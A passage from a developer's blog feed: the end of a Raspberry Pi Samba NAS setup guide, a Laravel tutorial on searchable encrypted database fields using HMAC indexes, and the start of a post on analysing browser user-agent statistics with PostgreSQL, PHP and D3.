Samba, we can easily share directories over the netwokr in a way that can be easily acessed by ani operating system.</p><p>The first thing is make sure that everything is up to date in our Raspberry Pi.</p><pre><code class="language-terminal">$ sudo apt-get update
$ sudo apt-get upgrade</code></pre><p>Now install the Samba packages we require.</p><pre><code class="language-terminal">$ sudo apt-get install samba samba-common-bin
</code></pre><h3 id="6-install-and-format-the-external-hard-drive">6.	Install and format the external hard drive</h3><p>If the disk is not formatted, we need to format it. In my case the disk was formated using the <a href="https://en.wikipedia.org/wiki/ExFAT"><a href="https://en.wikipedia.org/wiki/ExFAT">exF</a>AT</a> file system as I needed to access it using both macOS and Windows devices. However, as the disk is now only going to be connected to a Linux server and accessed through Samba, I decided I'd format it in a linux file system to maximise performance. Ext4 is the default system for linux, it is the latest "extended file system" and includes newer features that reduce file fragmentation, allows for larger volumes and files, and uses delayed allocation to improve flash memory life. So after having backed up the HD, connect the disk on a USB port of the Raspberry Pi.</p><p>First, we need to identify the disk by typing</p><pre><code class="language-terminal">$ lsblk</code></pre><figure class="kg-card kg-image-card"><img src="https://samuelrebollo.com/content/images/2020/09/Screenshot-2020-08-21-at-15.01.15.png" class="kg-image" alt="NAS server on a Raspberry Pi" width="700" height="197" srcset="https://samuelrebollo.com/content/images/size/w600/2020/09/Screenshot-2020-08-21-at-15.01.15.png 600w, https://samuelrebollo.com/content/images/2020/09/Screenshot-2020-08-21-at-15.01.15.png 700w"></figure><p>here we can see the disk is referred to as <strong>sda1</strong>. If the disk is automatically mounted, we need to unmount it:</p><pre><code class="language-terminal">$ sudo umount sda1</code></pre><p>To delete the disk partitions, type:</p><pre><code class="language-terminal">$ sudo fdisk /dev/sda1</code></pre><p>and follow the instructions to delete all partitions. Then, to create the new partition and format the disk using ext4, type:</p><pre><code>$ sudo mkfs.ext4 /dev/sda1</code></pre><h3 id="7-mount-the-external-drive">7.	Mount the external drive</h3><p>We want, not only to mount the drive but for it to be automatically mounted on boot so in case of system restart, the drive will be mounted on the same volume. For that we need to modify the file <em>/etc/fstab</em> and know the UUID of our disk. The <em>fstab</em> file controls how drives are mounted to our system and the lines that we add to will tell the operating system how to load in and handle our drives. We must be careful with this config because if we input the wrong info, the system may fail to boot.</p><p>To retrieve our disk UUID, type</p><pre><code class="language-terminal">$ sudo blkid /dev/sda1</code></pre><p>We get something like the following:</p><pre><code>$ /dev/sda1: UUID="25379391-12a6-46fa-8b9c-02ed1a85e56f" TYPE="ext4" PARTUUID="f271fce2-01"</code></pre><p>Now, let's create a directory for the drive to be mount:</p><pre><code class="language-terminal">$ sudo mkdir /media/shared</code></pre><p>And assign ownership to the <em>pi</em> user:</p><pre><code class="language-terminal">$ sudo chown -R pi:pi /media/shared</code></pre><p>Next, we need to modify the fstab file by executing:</p><pre><code class="language-terminal">$ sudo nano /etc/fstab</code></pre><p>and adding this to the file:</p><pre><code>UUID="25379391-12a6-46fa-8b9c-02ed1a85e56f"	/media/shared	ext4	defaults,auto,users,rw,nofail,noatime	0	0</code></pre><p>where UUID is the one retrieved earlier by <code>blkid</code>, /media/shared is the mounting directory and ext4 is the disk file system. Save the file and restart the system:</p><pre><code>$ sudo reboot</code></pre><p>Once, restarted you should be able to see the drive properly mounted on our chosen directory:</p><pre><code class="language-terminal">$ df -h</code></pre><figure class="kg-card kg-image-card"><img src="https://samuelrebollo.com/content/images/2020/09/Screenshot-2020-08-21-at-15.41.35.png" class="kg-image" alt="NAS server on a Raspberry Pi" width="388" height="155"></figure><h3 id="8-create-shared-drive">8.	Create shared drive</h3><p>The last step to create our shared drive is to config samba to use the desired directory. To do so, edit the <em>smb.conf</em> file:</p><pre><code class="language-terminal">$ sudo nano /etc/samba/smb.conf
</code></pre><p>And add something along the lines of:</p><pre><code>[SHARED]
   comment = external hard drive
   browseable = yes
   path = /media/shared
   writeable = Yes
   create mask = 0777
   directory mask = 0777
   browseable = Yes
   public = yes
   hide unreadable = yes
   

</code></pre><p>Where SHARED is the name we chose for the shared directory, path is the mounted volume path, public=yes indicates we don't need an authenticated user to use it and hide unreadable=yes will hide the <em>lost+found</em> directory created by the linux file system.</p><p>After that, you need to get an access to the sharing directory we’ve just created. For that, the user <em>pi</em> should be allowed to be the Samba user.</p><pre><code>$ sudo smbpasswd -a pi
</code></pre><p>Input a password and we're ready to go. Finally, restart the service:</p><pre><code class="language-terminal">$ sudo /etc/init.d/samba-ad-dc restart</code></pre><h3 id="9-connect-your-computer-to-the-file-server">9.	Connect your computer to the file server</h3><p>The last thing to do is connect your own computer to the file server and map a network drive so you have it accessible as any of your own computer drives. That is easy to achieve in my Mac by going to Finder/Go/Connect to Server and adding our Raspberry Pi address:</p><figure class="kg-card kg-image-card"><img src="https://samuelrebollo.com/content/images/2020/09/Screenshot-2020-08-21-at-15.49.43.png" class="kg-image" alt="NAS server on a Raspberry Pi" width="978" height="460" srcset="https://samuelrebollo.com/content/images/size/w600/2020/09/Screenshot-2020-08-21-at-15.49.43.png 600w, https://samuelrebollo.com/content/images/2020/09/Screenshot-2020-08-21-at-15.49.43.png 978w" sizes="(min-width: 720px) 720px"></figure><p>And it's all done! We now have a NAS server working on our own network and we can use to share files between different devices or, in my case, complement my computer storage without having to connect a USB drive.</p><h2 id="conclusions">Conclusions</h2><p>It's been a cool project that hopefully anybody else can replicate by following this instructions. I now have given some use to that Raspberry Pi computer that I had unused for years and it's very useful y my daily live. I even added a couple of features: an <a href="https://howchoo.com/g/ytzjyzy4m2e/build-a-simple-raspberry-pi-led-power-status-indicator">LED power indicator</a> and a <a href="https://howchoo.com/g/mwnlytk3zmm/how-to-add-a-power-button-to-your-raspberry-pi">power button</a> to complete the project.</p><figure class="kg-card kg-image-card"><img src="https://samuelrebollo.com/content/images/2020/09/IMG_5688.jpg" class="kg-image" alt="NAS server on a Raspberry Pi" width="2985" height="3168" srcset="https://samuelrebollo.com/content/images/size/w600/2020/09/IMG_5688.jpg 600w, https://samuelrebollo.com/content/images/size/w1000/2020/09/IMG_5688.jpg 1000w, https://samuelrebollo.com/content/images/size/w1600/2020/09/IMG_5688.jpg 1600w, https://samuelrebollo.com/content/images/size/w2400/2020/09/IMG_5688.jpg 2400w" sizes="(min-width: 720px) 720px"></figure>]]></content:encoded></item><item><title><![CDATA[Searchable encrypted database fields in Laravel]]></title><description><![CDATA[<p>My current company records sensitive client data, including identifiers such as names, addresses and other personally identifiable information. It is then very important for us to keep security in mind in the whole system. Our product is a web application that is accessed through three-factor authentication. We, of course use</p>]]></description><link>https://samuelrebollo.com/searchable-encrypted-database-fields-in-laravel/</link><guid isPermaLink="false">5f4e368d5296fd2b670b0b48</guid><category><![CDATA[Laravel]]></category><category><![CDATA[Encryption]]></category><category><![CDATA[Hashing]]></category><dc:creator><![CDATA[Samuel Rebollo Díaz]]></dc:creator><pubDate>Fri, 02 Mar 2018 20:07:00 GMT</pubDate><media:content url="https://samuelrebollo.com/content/images/2020/09/mika-baumeister-Wpnoqo2plFA-unsplash.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://samuelrebollo.com/content/images/2020/09/mika-baumeister-Wpnoqo2plFA-unsplash.jpg" alt="Searchable encrypted database fields in Laravel"><p>My current company records sensitive client data, including identifiers such as names, addresses and other personally identifiable information. It is then very important for us to keep security in mind in the whole system. Our product is a web application that is accessed through three-factor authentication. We, of course use <a href="https://en.wikipedia.org/wiki/HTTPS">SSL/TLS</a> to secure the data exchange with end to end encryption. But as sensitive as the data is, we need to make sure we provide enough security layers to make sure any data trasnfer is secure. We are currently developing using <a href="https://laravel.com/">Laravel 5.5</a>, the last LTS laravel version, so the code bits of this article will be Laravel-based. However, the concepts are applicable to any environment with a similar problem and structure.</p><h3 id="structure">Structure</h3><p>Our database and application servers are <strong>physical servers</strong>, racked in the same data center and network but <strong>separate</strong> machines. We would like to be able to protect our client's data in case the <strong>database server was compromised</strong> but not the application server. That said, it makes sense to <strong>encrypt the sensitive information fields</strong> on DB, as long as the DB server doesn't have access to the encryption keys. Lastly, the system needs to support searching, as users need to be able to search for a client's name, surname, etc.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://samuelrebollo.com/content/images/2020/09/Paper.Bloc.10-1.png" class="kg-image" alt="Searchable encrypted database fields in Laravel" width="1790" height="1061" srcset="https://samuelrebollo.com/content/images/size/w600/2020/09/Paper.Bloc.10-1.png 600w, https://samuelrebollo.com/content/images/size/w1000/2020/09/Paper.Bloc.10-1.png 1000w, https://samuelrebollo.com/content/images/size/w1600/2020/09/Paper.Bloc.10-1.png 1600w, https://samuelrebollo.com/content/images/2020/09/Paper.Bloc.10-1.png 1790w" sizes="(min-width: 720px) 720px"><figcaption>hardware structure</figcaption></figure><h3 id="before-we-start">Before we start</h3><p>Before we get to the matter, let's briefly explain some cryptograpy concepts:</p><p><strong>Encrypting</strong> is the practice of encoding information in a way that only someone with a corresponding key can decode and read it. Encryption is a two-way function. When some information is encrypted, it is supposed to be decrypted at some point.</p><p><strong>Hashing</strong> is the practice of using an algorithm to map data of any size to a fixed length. It can be used to index non-numerical data. Hashing is a one-way function. When some information is hashed, it is not supposed to be 'un-hashed'. While it’s technically possible to reverse-hash something, it would involve brute force re-engineering so the computing power required makes it unfeasible.</p><p><strong>Salting</strong> is a concept that typically pertains to password hashing, although it can also apply to encryption. Essentially, it’s a unique value that can be added to the end of the original text to create a different hash value. This adds a layer of security to the hashing process, specifically against brute force attacks.</p><h3 id="implementing-encryption-of-db-fields-in-laravel">Implementing encryption of DB fields in Laravel</h3><p>We're going to use the Laravel Crypt façade, that uses AES-256 encryption by default. Secure encryption schemes, like AES, are designed so that encrypting the same value twice generates different encrypted values. That way, the encryption is non-deterministic and thus secure against an evesdropping attack. Encrypted values are longer than their plain text counterparts so in order to store the encrypted data, we are going to use <code>text</code> fields on DB.</p><p>In order to access DB fields, we can override the default accessors and mutators of a Laravel (Eloquent) model to decrypt the value when accessing and encrypt it before persisting. This can be developed in a trait, so it can be reused in any model:</p><figure class="kg-card kg-code-card"><pre><code class="language-PHP">&lt;?php

// ...

use Illuminate\Support\Facades\Crypt;

trait Encryptable
{

    public function getAttribute($key)
    {
        $value = parent::getAttribute($key);

        if ($value !== null &amp;&amp; in_array($key, $this-&gt;encrypted))
        {
            $value = Crypt::decrypt($value);
        }
        
        return $value;
    }

    public function setAttribute($key, $value)
    {
        if (in_array($key, $this-&gt;encrypted))
        {
            $value = Crypt::encrypt($value);
        }

        return parent::setAttribute($key, $value);
    }

// ...
</code></pre><figcaption>Encryptable trait (version 1)</figcaption></figure><p>If we include the property <code>$this-&gt;encrypted</code> in our model, containing the names of the encrypted properties we can, with this simple trait, acomplish the encryption/decryption of database fields. </p><h3 id="searchable-encryption">Searchable encryption</h3><p>However, as the encryption scheme is non-deterministic, searching is not possible as if we encrypt the filtering fields provided on the searching action, it would generate a different encrypted string with which comparison would make no sense. So in order to be able to search, we need to add an index for every encrypted column.</p><p>The idea is to store a <a href="https://en.wikipedia.org/wiki/HMAC">keyed hash</a> (rather than a salted hash) of the unencrypted value in a separate column to use as an index. It is important that the hash key is different from the encryption key and <strong>unknown</strong> to the database server.</p><blockquote>The following code examples assume that every encrypted field on the model, will have a corresponding index, named in the same way but with the string '_index' added at the end.</blockquote><p>Let's consider the following model:</p><pre><code class="language-SQL">CREATE TABLE `clients` (
  `id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
  `forename` text,
  `surname` text,
  `forename_index` varchar(64),
  `surname_index` varchar(64),
  `created_at` timestamp NULL DEFAULT NULL,
  `updated_at` timestamp NULL DEFAULT NULL,
  PRIMARY KEY (`id`)
);</code></pre><p>The migration <code>up()</code> function would look like:</p><pre><code class="language-PHP">public function up()
{
    Schema::create('clients', function (Blueprint $table) {
        $table-&gt;increments('id');
        $table-&gt;text('forename');
        $table-&gt;text('surname');
        $table-&gt;string('forename_index');
        $table-&gt;string('surname_index');
        $table-&gt;timestamps;
    });
}</code></pre><p>We need to modify our trait to include the functionality to store the index:</p><figure class="kg-card kg-code-card"><pre><code class="language-PHP">&lt;?php

namespace App;

use Illuminate\Support\Facades\Crypt;
use Illuminate\Support\Str;
// ...

trait Encryptable
{

    public function getAttribute($key)
    {
        $value = parent::getAttribute($key);

        if ($value !== null &amp;&amp; in_array($key, $this-&gt;encrypted))
        {
            $value = Crypt::decrypt($value);
        }

        return $value;
    }

    public function setAttribute($key, $value)
    {
        if (Str::endsWith($key, "_index"))
            return $this;

        if (in_array($key, $this-&gt;encrypted))
        {
            parent::setAttribute("{$key}_index", $this-&gt;hash($value));
            $value = Crypt::encrypt($value);
        }

        return parent::setAttribute($key, $value);
    }
        
    public function attributesToArray()
    {
        $attributes = parent::attributesToArray();
        foreach ($attributes as $key =&gt; $value)
        {
        	// if the attribute is an index, remove it from the. attributes list.
            if (Str::endsWith($key, "_index"))
            {
                unset($attributes[$key]);
            }
            else
            {
                if (in_array($key, $this-&gt;encrypted))
                {
                    if($value)
                    {
                        $attributes[$key] = Crypt::decrypt($value);
                    }
                }
            }
        }

        return $attributes;
    }
    
	// hash function to create the index. This is not production-quality code.
    public function hash($value)
    {
        return hash_hmac("sha256", $value, base64_decode("2C83ZwVdGPgMUi8Z16MvGmjeaSXz3HpYuHWuW7sR9ZY="));
    }
    
	// ...

}</code></pre><figcaption>Encryptable trait (version 2)</figcaption></figure><p>Our eloquent model would look like the following:</p><pre><code class="language-PHP">&lt;?php

namespace App;

use App\Encryptable;
use Illuminate\Database\Eloquent\Model;

class Client extends Model
{
    use Encryptable;

    protected $encrypted = ['forename', 'surname'];

}
</code></pre><p>So if we input the data below, the DB content would result as follows:</p><figure class="kg-card kg-code-card"><pre><code>[
	{
		"forename": "John",
		"surname": "Reynolds"
	}
]</code></pre><figcaption>input data</figcaption></figure><figure class="kg-card kg-code-card"><pre><code>[
	{
		"forename": "eyJpdiI6IjlIbzcrWHFvUHdSZkhndUp3M2Zoa2c9PSIsInZhbHVlIjoiSlg4aFlXcWg3bGZxcXdVVlowdnVkUT09IiwibWFjIjoiYTA0MzU0YzZlNWNkYzhkMWJlNTQ1MjUzOThiMGFjMmRlODRmYmIxZmM4MjQzMTQ4OTUzM2JkNDg4ZDM4ZjU5YyJ9",
		"surname": "eyJpdiI6IlRJNDN0a2U1TUp3VkJqZGFVY0gyb3c9PSIsInZhbHVlIjoiZXhVKzBLMXdOQWdcL1ZNK1JEVEZqUXc9PSIsIm1hYyI6IjlmZGI2N2Q0ZmEzY2Q2MzFjZTdmZjZjZmMyODM4ZWZlMjkzMGUxMDBiM2NiMTg1YWQ5YmRmNmNiMTFlNjI5ODIifQ==",
		"forename_index": "5d81f6bac397a44b58bdae00a185cb1fa844ed2ff9a14efe0805a2b22b3ebcbb",
		"surname_index": "a12afb44b0845a481c705a1c990d43c52d7a51e384c8a72665d0036d614ca6c6"
	}
]</code></pre><figcaption>DB content</figcaption></figure><p>Lastly, when a controller action wants to filter models depending on one or more encrypted fields, we need to make sure that the same hash function is applied to the requested fields and use the hashed index instead of the raw field.</p><p>We can achieve this in Laravel by overriding the default eloquent query builder that our model uses. First, we need to extend the eloquent query builder:</p><figure class="kg-card kg-code-card"><pre><code class="language-PHP">&lt;?php

namespace App;
use Illuminate\Database\Eloquent\Builder as EloquentBuilder;

class EncryptableQueryBuilder extends EloquentBuilder{

    protected $encrypted = [];
    protected $hashFunction;

    public function __construct($query, $encrypted, $hashFunction)
    {
        $this-&gt;encrypted =  $encrypted;
        $this-&gt;hashFunction =  $hashFunction;

        parent::__construct($query);
    }

    protected function hash($value)
    {
        $hash = $this-&gt;hashFunction;
        return $hash($value);
    }

    /**
     * Add a basic where clause to the query.
     *
     * @param  string|array|\Closure  $column
     * @param  mixed   $operator
     * @param  mixed   $value
     * @param  string  $boolean
     * @return $this
     */
    public function where($column, $operator = null, $value = null, $boolean = 'and')
    {
        $encrypted = $this-&gt;encrypted;
        $function = function ($item) use ($encrypted){  
            if (in_array($item[0], $encrypted))
            {
                return ["{$item[0]}_index", $item[1], $this-&gt;hash($item[2])];
            }

            return $item;
        };


        if (is_array($column))
        {
            $arrayColumn = [];
            foreach ($column as $key =&gt; $val) {
                if (is_numeric($key) &amp;&amp; is_array($val)) {
                    $arrayColumn[$key] = array_map($function, $val);
                } else {
                    if (in_array($key, $encrypted))
                    {
                        $arrayColumn["{$key}_index"] = $this-&gt;hash($val);
                    }
                    else
                    {
                        $arrayColumn[$key] = $val;
                    }
                }
            }

            return parent::where($arrayColumn, $operator, $value, $boolean);
        }

        if (in_array($column, $encrypted))
        {
            [$value, $operator] = $this-&gt;prepareValueAndOperator(
                $value, $operator, func_num_args() === 2
            );

            $column .= "_index";
            $value = $this-&gt;hash($value);
        }

        return parent::where($column, $operator, $value, $boolean);
    }

}
</code></pre><figcaption>EncryptableQueryBuilder.php</figcaption></figure><p>and finally, include the following function in the <code>Encryptable</code> trait, to override the default model one:</p><figure class="kg-card kg-code-card"><pre><code class="language-PHP">&lt;?php

namespace App;

use Illuminate\Support\Facades\Crypt;
use Illuminate\Support\Str;
use App\EncryptableQueryBuilder;

trait Encryptable
{

	// Rest of the trait code


    public function newEloquentBuilder($query)
    {
        $hashFunction = function ($value) {
            return $this-&gt;hash($value);
        };

        return new EncryptableQueryBuilder($query, $this-&gt;encrypted, $hashFunction);
    }
}</code></pre><figcaption>Encryptable trait (version 2 extended)</figcaption></figure><p>And that's it! Now, we can filter using plain data directly on the  on the controller action, so if define our controller action in the laravel web routes file:</p><figure class="kg-card kg-code-card"><pre><code class="language-PHP">&lt;?php

// ...

Route::get('clients/search', function(Request $request){
    return Client::where($request-&gt;all())-&gt;get();
});

</code></pre><figcaption>routes/web.php</figcaption></figure><p>We will get the desired data without the need of manually hashing and indexing the filtering fields:</p><figure class="kg-card kg-image-card"><img src="https://samuelrebollo.com/content/images/2020/09/Screenshot-2020-09-02-at-10.08.35.png" class="kg-image" alt="Searchable encrypted database fields in Laravel" width="842" height="579" srcset="https://samuelrebollo.com/content/images/size/w600/2020/09/Screenshot-2020-09-02-at-10.08.35.png 600w, https://samuelrebollo.com/content/images/2020/09/Screenshot-2020-09-02-at-10.08.35.png 842w" sizes="(min-width: 720px) 720px"></figure><h3 id="conclusions-and-furtherwork">Conclusions and furtherwork</h3><p>Given our example and the encryption and hashing key are different and stored in the application server, and the database can't access them, then an attacker that compromises the database server only will be able to learn if clients have the same name or surname but not what the name is. This multiple entry leak is necessary in order for indexing to be possible, which could be a risk for common names in this example. It could also reveal if two seemingly unrelated people in the DB share the same address, the same surname and other data that reveal that those people belong to the same family.</p><p>Also this approach has the limitation of only working for exact matches. If two strings differ in a meaningless way (for example the letter case) it will always generate a different hash so would never find a match. Names and surnames can also include particles or characters (de, de la, O', Mac) that should be ignored for search. For example, if we're searching the surname <em>O'Brian</em>, it should be found by "O'brian", "Obrian", "OBrian". If we are searching "de León", it should be found by "de Leon", "Leon", "león", etc.</p><p>A first solution to this could be process the name index before being hashed to perform trasnformation to lower-case, remove particles and accents, map non-standard-ASCII latin characters to its corresponding ASCII (<em>ñ, ß, õ, å, ü </em>to <em>n, ss, o, a, u</em>), etc. I'd like to investigate how useful it would be to combine this with the use of the <code>levenstein</code> function in PHP as well as <code>soundex</code> or <code>metaphone</code> to create a more. It could help us implement a fuzzier name search.</p>]]></content:encoded></item><item><title><![CDATA[User Agent String, usage statistics and reporting]]></title><description><![CDATA[<p>Lately, I have been developing in JavaScript more than I used to. I have recently discovered the JavaScript  functions <code>.map()</code>, <code>.reduce()</code> and <code>.filter()</code>, which are equivalent to my beloved <a href="https://samuelrebollo.com/array-operations-map-filter-reduce">array_map, array_reduce and array_filter</a> in PHP. However, not every browser supports them. They are not supported, for example,</p>]]></description><link>https://samuelrebollo.com/usage-stats-reporting/</link><guid isPermaLink="false">5f2d27a65296fd2b670b03d9</guid><category><![CDATA[User Agent String]]></category><category><![CDATA[PHP]]></category><category><![CDATA[JavaScript]]></category><category><![CDATA[PostgreSQL]]></category><category><![CDATA[Data Model]]></category><dc:creator><![CDATA[Samuel Rebollo Díaz]]></dc:creator><pubDate>Sat, 02 Dec 2017 17:13:00 GMT</pubDate><media:content url="https://samuelrebollo.com/content/images/2020/08/Paper.Bloc.5.png" medium="image"/><content:encoded><![CDATA[<img src="https://samuelrebollo.com/content/images/2020/08/Paper.Bloc.5.png" alt="User Agent String, usage statistics and reporting"><p>Lately, I have been developing in JavaScript more than I used to. I have recently discovered the JavaScript  functions <code>.map()</code>, <code>.reduce()</code> and <code>.filter()</code>, which are equivalent to my beloved <a href="https://samuelrebollo.com/array-operations-map-filter-reduce">array_map, array_reduce and array_filter</a> in PHP. However, not every browser supports them. They are not supported, for example, by IE8 and I know some of our users still use it.</p><p>My current company develops a private web application that holds sensitive data, including personally identifiable information (PII) from thousands of clients. I wanted to do a browser analysis and see how sensible it would be to upgrade the JavaScript on our application so I could use the mentioned functions. We don't have Google Analytics set up and I decided we should not use it. I know <a href="https://support.google.com/analytics/answer/6004245?hl=en">Google takes privacy and security seriously</a>, are <a href="https://storage.googleapis.com/support-kms-prod/8E2BD7B74E99E08E0E4F9FA870E49092BFE4">ISO certified (17021 and 27006</a>) and have controls and procedures to ensure data isn’t accessed by the wrong people. However, using Google Analytics involves having to insert a JavaScript snippet into your web app and that would theoretically give Google the technical opportunity to have this JavaScript code do anything to your site or visitors.  The use of any third party script is against our policy.</p><h2 id="user-agent-string">User Agent String</h2><p>As our application queries sensitive data from clients, we are supposed to record which user saw which kind of sensitive data and when. We keep this information for 90 days in order to be able to conduct an investigation in case of a data breach, misuse of personal data or malicious access. Our log records the following data on a DB table:</p><!--kg-card-begin: html--><table>
    <tr><td>User ID</td><td>ID of the application user that is accessing the information</td></tr>
    <tr><td>Client ID</td><td>ID of the client whose information is being queried</td></tr>
    <tr><td>Data type</td><td>The type of sensitive data that it is being accessed, ie, date of birth, name, address</td></tr>
    <tr><td>Timestamp</td><td>Date and time of information viewing</td></tr>
	<tr><td>User Agent String</td><td>User's browser user agent string</td></tr>
</table><!--kg-card-end: html--><p>As you can see, one of the pieces of data we're recording from users is the <a href="http://www.useragentstring.com/">User Agent String</a> (UA). A user agent string is a string of characters that is sent as an HTTP header by the browser on every request and helps the server identify which browser is being used, what version, and on which operating system, among other things. Here's an example of UA:</p><figure class="kg-card kg-code-card"><pre><code>Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36</code></pre><figcaption>This user agent string corresponds to Chrome 62.0.3202.94 on Windows 7</figcaption></figure><p>There are millions of UA combinations. Every device type (including phones, tablets, desktops), browser or operating system may come with its own UA. Luckily, there are free APIs out there that can help us parse these strings in order to accurrately detect these different items. For the purpose of this simple analysis, I used <a href="http://www.useragentstring.com/pages/api.php">UserAgentString.com</a>, which is free and there is no need for an API key.</p><p>Taking all this into account, we could create a simple <strong>reporting</strong> project for us to analyse OS and browser usage of our users.</p><h2 id="the-project">The project</h2><p>The idea is to create a small project that would help us understand which kind of systems our users have and use to access our platform. The project would use the data we already collect, transform it to enrich its value and present it in a visually atractive way, so it is easy to analise and draw a conclusion. Even though this is a very small project, it could be considered a <a href="https://en.wikipedia.org/wiki/Business_intelligence">BI</a> project, given the fact that we are looking to perform data analysis of "business information". Moreover, we are going to use some <a href="https://en.wikipedia.org/wiki/Data_warehouse">Data Warehousing</a> concepts. </p><h3 id="what-we-have">What we have</h3><p>As explained above, we have a view log that contains the user agent string of the users that query client's data. This information is collected in our PostgreSQL DB in a table with the following structure:</p><pre><code class="language-SQL">CREATE TABLE viewlog
(
	view_id SERIAL,
	user_id integer,
	client_id integer,
	data_type character varying(50),
	viewtime timestamp with time zone,
	useragent character varying(400)
);</code></pre><p>This table only keeps the data for a period of 90 days so any date older than today - 90 days is automatically cleared by our software.</p><p>The field <code>view_id</code> is an auto-incrementing Primary Key that we don't really need for our project. We don't need <code>user_id</code> or <code>client_id</code> which are, as mentioned, fields that (anonymously) identify people. The field <code>data_type</code> is also not relevant to our project. We're then left with <code>viewtime</code> and <code>useragent</code>. We will use <code>useragent</code> to extract our users systems information and the <code>viewtime</code> field can be kept for statistical purposes. However, we don't need the exact time at which any information was queried so we can aggregate these records per day and then count how many times a <code>useragent</code> was used, something like:</p><pre><code class="language-SQL">-- in PostgreSQL, 'timestamp::date' casts a timestamp as a date, removing the time part

SELECT useragent, viewtime::date, count(*)
FROM viewlog
GROUP BY useragent, viewtime::date;</code></pre><p>Also, we can use the <a href="http://www.useragentstring.com/pages/api.php">API mentioned above</a> to extract more exact information on the browser and OS use. By submitting a user agent string to this API, we can get back specific fields with the OS name, browser name and version. We could enrich our DB with this information and use it on our reporting.</p><h3 id="the-model">The model</h3><p>The idea is to copy data from one source (the viewlog table) into a destination system (our model) which represents the data in a different context than the source. This data integration concept is called Extraction, Transformation, Load (<a href="https://en.wikipedia.org/wiki/Extract,_transform,_load">ETL</a>) and is the approach used to build Data Warehouses. Our DB model is going to consist of two tables:</p><figure class="kg-card kg-code-card"><pre><code class="language-SQL">CREATE TABLE useragents
(
    id SERIAL PRIMARY KEY,
    ua_string CHARACTER VARYING(400) UNIQUE,
    os_name CHARACTER VARYING(50),
    browser_name CHARACTER VARYING(50),
    browser_version CHARACTER VARYING(50),
    insert_time TIMESTAMP,
    update_time TIMESTAMP
);

CREATE TABLE dailyuseragentuse
(
    id SERIAL PRIMARY KEY,
    useragent_id integer REFERENCES useragents(id) ON DELETE RESTRICT ON UPDATE CASCADE,
    usage_date DATE,
    usage_count INTEGER,
    UNIQUE(useragent_id, usage_date)
);</code></pre><figcaption>Usage stats model</figcaption></figure><p>We're going to copy unique user agent strings from to the <code>viewlog</code> table into the <code>useragents</code> table, then enrich that information using the <a href="https://samuelrebollo.com/usage-stats-reporting/www.useragentstring.com/">API</a>. Then we'll load the <code>dailyuseragentuse</code> table, by grouping the viewlog by date and user agent string. Lastly, we will use that information to plot a graph to help us visually analise the information.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://samuelrebollo.com/content/images/2020/08/usage.png" class="kg-image" alt="User Agent String, usage statistics and reporting" width="2048" height="972" srcset="https://samuelrebollo.com/content/images/size/w600/2020/08/usage.png 600w, https://samuelrebollo.com/content/images/size/w1000/2020/08/usage.png 1000w, https://samuelrebollo.com/content/images/size/w1600/2020/08/usage.png 1600w, https://samuelrebollo.com/content/images/2020/08/usage.png 2048w" sizes="(min-width: 720px) 720px"><figcaption>Data flow diagram</figcaption></figure><h3 id="let-s-get-to-work">Let's get to work</h3><p>Our software, should do the following:</p><ul><li>Periodically <strong>load</strong> the DB tables <code>useragents</code> and <code>dailyuseragentuse</code> from <code>viewlog</code>.</li><li><strong>Enrich</strong> the <code>useragents</code> tables by using a web API to decode the useragent string and fill the fields <code>os_name</code>, <code>browser_name</code>, <code>browser_version</code>.</li><li><strong>Plot</strong>, in some kind of data chart, our results to visually analyse them.</li></ul><p><strong>Load</strong> the DB tables from viewlog can be achieved with the following queries:</p><pre><code class="language-SQL">INSERT INTO useragents (ua_string, insert_time)
    SELECT useragent, NOW()
    FROM viewlog
    WHERE useragent NOT IN (SELECT ua_string FROM useragents)
    GROUP BY useragent;

INSERT INTO dailyuseragentuse (useragent_id, usage_date, usage_count)
    SELECT ua.id, log.viewtime::date, count(*)
    FROM viewlog log
    INNER JOIN useragents ua ON (log.useragent = ua.ua_string)
    GROUP BY ua.id, log.viewtime::date;</code></pre><p>This can be executed on first load, and then we could setup a cron job to periodically upload info depending on the last time this was executed.</p><p>Use curl to <strong>enrich</strong> the <code>useragents</code> table by adding OS and browser info:</p><pre><code class="language-PHP">&lt;?php

// $dbAgents contains the relevant 'useragents' table records

foreach($dbAgents as $agent){

	$ua = urlencode($agent['ua_string']);
	$ch = curl_init();
	$url = "http://www.useragentstring.com/?uas={$ua}&amp;getJSON=agent_name-agent_version-os_name";
	curl_setopt($ch, CURLOPT_URL, $url);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);

	$apiResult = json_decode(curl_exec($ch));
	$http = curl_getinfo($ch, CURLINFO_HTTP_CODE);
	curl_close($ch);

	// update the 'useragents' table with the fields
	// $apiResult-&gt;agent_name, $apiResult-&gt;agent_version and $apiResult-&gt;os_name
}</code></pre><p>To <strong>plot</strong> a graph, we'll use <a href="https://d3js.org/">D3</a> to develop a simple bubble graph and help us see OS and browser usage.</p><h3 id="server-side">Server side</h3><p>Let's consider the following simple class to deal with DB connections:</p><pre><code class="language-PHP">&lt;?php

/* 
 * This is not production-quality code. 
 * It has been optimized for readability and understanding.
 */

class DbConnect
{
    protected $db;

    public function __construct(\PDO $db)
    {
        $this-&gt;db = $db;
    }

    public function runQuery($query, $parameters = null)
    {
        $stmt = $this-&gt;db-&gt;prepare($query, $parameters);
        $stmt-&gt;execute($parameters);
        return $stmt;
    }

    protected function runSelectQuery($query, $parameters = null)
    {
        $stmt = $this-&gt;runQuery($query, $parameters);
        return $stmt-&gt;fetchAll();
    }
}</code></pre><p>Then, the following class could deal with the first steps of loading the DB tables:</p><figure class="kg-card kg-code-card"><pre><code class="language-PHP">&lt;?php

/* 
 * This is not production-quality code. 
 * It has been optimized for readability and understanding.
 */

class UsageStatsLoader
{
	protected $dbConnect;

    public function __construct(DbConnect $dbConnect)
    {
        $this-&gt;dbConnect = $dbConnect;
    }

    public function loadTables()
    {
        $lastLoadDate = $this-&gt;getLastDate();
        // Delete the usage data of the last recorded date, to cover for that usage
        // done on the same day of the last recorded date but after this load was executed.
        $this-&gt;deleteUsageFromDate($lastLoadDate);
        $this-&gt;loadUserAgentFromDate($lastLoadDate);
        $this-&gt;loadUsageFromDate($lastLoadDate);
    }

    protected function getLastDate()
    {
        $recordSet = $this-&gt;dbConnect
